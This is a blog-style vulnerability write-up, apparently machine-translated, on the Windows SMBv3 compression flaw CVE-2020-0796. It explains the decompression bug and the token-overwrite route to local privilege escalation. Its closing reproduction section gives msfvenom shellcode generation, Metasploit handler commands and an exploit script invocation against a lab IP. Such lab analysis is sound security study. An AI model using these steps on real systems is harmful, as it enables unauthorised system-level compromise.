Post

Windows SMB remote code execution vulnerability CVE-2020-0796

Windows SMB remote code execution vulnerability CVE-2020-0796

Windows SMB remote code execution vulnerability CVE-2020-0796

Vulnerability Description

On March 10, 2020, Microsoft issued a security announcement on CVE-2020-0796 (ADV200005, Microsoft Guidance for Disabling SMBv3 Compression) on its official SRC, indicating that there is a remote code execution vulnerability in the client and server side of Windows SMBv3 version.

Vulnerability Impact

SMB version v3.1.1

Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows Server, Version 1903 (Server Core installation)Windows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows Server, Version 1909 (Server Core installation)

Vulnerability reappears

Download the corresponding system version with vulnerability

img

After installation, run the command winver to view the system version and see if it contains KB4551762 patch

img

The CVE-2020-0796 vulnerability exists in the affected version of Windows driver srv2.sys.

img

ProtocolId: 4 bytes, fixed to 0x424D53FC OriginalComressedSegmentSize: 4 bytes, original uncompressed data size CompressionAlgorithm: 2 bytes, compression algorithm Flags: 2 bytes, see the protocol documentation for details Offset/Length: According to the value of Flags, it is Offset or Length. Offset represents the offset of compressed data in the data packet with respect to the current structure.

img

The decompression function Srv2DecompressData in srv2.sys that handles SMBv3 compressed packets does not strictly verify the legality of the OriginalCompressedSegmentSize and Offset/Length fields in the data packet.

img

Here, the OriginalCompressedSegmentSize+Offset may be smaller than the actual memory size that needs to be allocated, so there is a risk of out-of-bounds reading or writing during subsequent calls to the decompression function SmbCompressionDecompress.

The local rights-raising applications for this vulnerability that have been disclosed include the following main processes: (1) The verification program first creates a session connection to SMS server (denoted as session). (2) The verification program obtains the address of the privilege member in the kernel in the token data structure (remember tokenAddr). (3) The verification program sends abnormal compressed data (denoted as evilData) to the SMB server through session. (4) SMS server triggers the vulnerability after receiving evilData and modifys the permission data at the tokenAddr address, thereby enhancing the permissions of the verification program. (5) After the verification program obtains permissions, it controls winlogon and creates a system user shell.

First, take a look at the publicly utilized evilData data package

img

The content of the data packet is very simple, and several of the key field data are as follows:

OriginalSize :0xffffffff Offset:0x10 Real compressed data: 13 bytes of compressed data, after decompression, it should be a 1108 bytes'A' plus 8 bytes of token address. SMB3 raw data: It is actually composed of 2 8-byte 0x1FF2FFFBC (total length 0x10) plus 0x13 bytes of compressed data

From the above analysis of the vulnerability principle, we can see that the cause of the vulnerability is that the Srv2DecompressData function lacks legality judgment on the message fields, resulting in improper memory allocation.

img

Since the parameter passed to `SrvNetAllocateBuffer is 0xf, according to the processing flow of SrvNetAllocateBuffer, the request memory will be allocated from the SrvNetBufferLookasides table.

img

The SrvNetBufferLookasides table is initialized by the function SrvNetCreateBuffer. The actual SrvNetCreateBuffer loop calls SrvNetBufferLookasideAllocate to allocate memory. The parameters of calling SrvNetBufferLookasideAllocate are [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] respectively.

img

The SrvNetBufferLookasideAllocate function actually calls SrvNetAllocateBufferFromPool to allocate memory

img

In the function SrvNetAllocateBufferFromPool, for the memory allocation size requested by the user, the memory allocated internally through the ExAllocatePoolWithTag function is actually greater than the requested value (the extra part is used to store part of the memory-related data structure).

img

After the memory allocation is completed, the SrvNetAllocateBufferFromPool function also performs a series of initialization operations on the allocated memory, and finally returns a memory information structure pointer as the return value of the function.

img

Here you need to pay attention to the following data relationship: The return value of SrvNetAllocateBufferFromPool function returns return_buffer points to a memory data structure, and the offset of the start address of the start address of the memory data structure is 0x1150 (memory allocated by the function ExAllocatePoolWithTag) is 0x1150; the return_buffer+0x18 position points to the offset of the actual allocated memory start address of the 0x50 position, and finally return_buffer will be used as the return value of the function SrvNetAllocateBuffer

img

Go back to the vulnerability decompress function Srv2DecompressData, after memory allocation, Srv2DecompressData calls the function SmbCompressionDecompress to start decompressing the compressed data

img

In fact, this function calls the Windows library function RtlDecompressBufferEx2 to implement decompression, and analyzes the various parameters of the SmbCompressionDecompress function according to the function prototype of RtlDecompressBufferEx2.

SmbCompressionDecompress(CompressAlgo, //Compression Algo Compressed_buf, //Point to compressed data in the packet Compressed_size, //The compressed data size in the data packet is calculated to UnCompressedBuf,//The decompressed data storage address, *(alloc_buffer+0x18)+0x10 UnCompressedSize,//Compressed data original size, originated from the data packet OriginalCompressedSegmentSize FinalUnCompressedSize//The data size after final decompression

From the decompilation code, we can see that the address of the decompressed data in the function SmbCompressionDecompress is *(alloc_buffer+0x18)+0x10. According to the memory allocation process analysis, alloc_buffer+0x18 points to the actual memory allocation start position offset 0x50, so the copy destination address is the actual memory allocation start address offset 0x60.

During the decompression process, the compressed data will be stored in the memory pointed to by this address after decompression.

img

img

Continue to look at the subsequent processing flow of Srv2DecompressData. After the decompression is successful, the function judges that the result of offset is not 0.

memmove(*(alloc_buffer+0x18),SMB_payload,offset)

At this time, alloc_buffer+0x18 has pointed to the tokenAddr kernel address of the verification program, while SMB_payload points to the permission data in evilData at this time, and offset is 0x10.

There is another detail to note. When decompressing, the Srv2DecompressData function will determine whether the actual decompressed data size FinalUnCompressedSize is consistent with the original data size OriginalCompressedSegmentSize in the data packet.

img

Logically speaking, the actual decompressed data size is 0x1100, which does not equal the original compressed data size in the data packet 0xffffffff. Here you should enter the subsequent memory release process.

img

Vulnerability POC

</a-alert>
Use Qi’anxin’s vulnerability scan to detect

img

</a-alert>

After running the application, the cmd window pops up as system permissions

img

Or use MSF’s built-in EXP windows/local/cve_2020_0796_smbghost to locally increase authority


msfvenom generates reversed shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

Will generate shellcode in exp.py replace shellcode in exploit.py

img

img

buf to be replaced with USER_PAYLOAD, use MSF, Note that there is a blue screen probability

1
2
3
4
5
6
7
8
9
10
11
msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 2333
lport => 2333
msf5 exploit(multi/handler) > set rhost 192.168.1.110
rhost => 192.168.1.110
msf5 exploit(multi/handler) > exploit
执行脚本即可
python3 exploit.py  -ip 192.168.1.110
This post is licensed under CC BY 4.0 by the author.